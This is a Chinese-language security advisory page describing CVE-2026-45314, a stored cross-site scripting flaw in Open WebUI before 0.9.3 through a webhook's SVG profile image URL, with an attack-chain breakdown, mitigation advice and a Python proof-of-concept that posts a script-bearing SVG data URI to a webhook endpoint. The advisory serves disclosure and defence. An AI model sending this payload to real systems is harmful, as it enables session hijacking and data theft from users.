IPBUF安全漏洞报告
English
CVE-2026-45314 CVSS 6.1 中危

CVE-2026-45314 Open WebUI 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45314
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

XSSCVE-2026-45314Open WebUIStored XSSWeb Security

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.3版本之前,系统存在跨站脚本(XSS)漏洞。攻击者可利用Webhook创建/更新接口,传入包含恶意代码的SVG图像URL。由于后端未对SVG内容进行净化,当用户在浏览器中查看该图像时,恶意脚本将自动执行。攻击者利用此漏洞可窃取用户敏感数据或劫持会话。

技术细节

该漏洞源于Open WebUI在处理Channel Webhook的`profile_image_url`参数时缺乏有效的安全验证。攻击者可以构造恶意的SVG文件,其中包含`<script>`标签或带有`onload`、`onerror`事件的HTML元素,并将其进行Base64编码。随后,攻击者将编码后的Data URI作为`profile_image_url`提交给服务器。由于后端在解码并响应请求时未对SVG内容进行净化或转义,直接将其作为`image/svg+xml`类型返回。当受害者访问包含该图片的页面或Webhook详情时,浏览器解析该SVG文件,会触发嵌入的JavaScript代码,导致存储型XSS攻击。利用该漏洞,攻击者可窃取管理员Session、执行未授权操作,甚至进一步渗透内网。由于CVSS向量显示无需认证(PR:N)且影响范围(S:C),该漏洞具有较高的利用价值。

攻击链分析

STEP 1
1. 侦察
攻击者发现目标系统使用的是Open WebUI,且版本低于0.9.3。
STEP 2
2. 武器化
攻击者构造包含恶意JavaScript代码的SVG文件,并将其转换为Base64编码的Data URI格式。
STEP 3
3. 交付
攻击者向Open WebUI的Webhook创建或更新接口发送请求,将恶意的Data URI作为`profile_image_url`参数值提交。
STEP 4
4. 利用
当管理员或普通用户在浏览器中查看该Webhook的详情或触发相关图片加载时,浏览器请求该恶意URL。
STEP 5
5. 执行
服务器返回未经净化的SVG文件,浏览器解析SVG并执行其中的恶意脚本,导致XSS攻击生效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # Malicious SVG payload with JavaScript svg_payload = """<svg xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="white"/> <script>alert(document.cookie)</script> </svg>""" # Encode to Base64 b64_payload = base64.b64encode(svg_payload.encode()).decode() # Construct the malicious Data URI malicious_url = f"data:image/svg+xml;base64,{b64_payload}" # Target Endpoint (Example) target_url = "http://localhost:3000/api/v1/webhooks" # Payload data payload = { "name": "Exploit Webhook", "profile_image_url": malicious_url, # Add other required parameters based on API specs } # Send the request response = requests.post(target_url, json=payload) if response.status_code == 200: print("Webhook created successfully. XSS will trigger when viewing the webhook profile.") else: print(f"Failed to create webhook: {response.text}")

影响范围

Open WebUI < 0.9.3

防御指南

临时缓解措施
建议立即升级到官方修复版本0.9.3。如果暂时无法升级,应限制Webhook功能的访问权限,仅允许可信的管理员用户进行操作,并部署Web应用防火墙(WAF)以检测和拦截包含恶意SVG Data URI的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表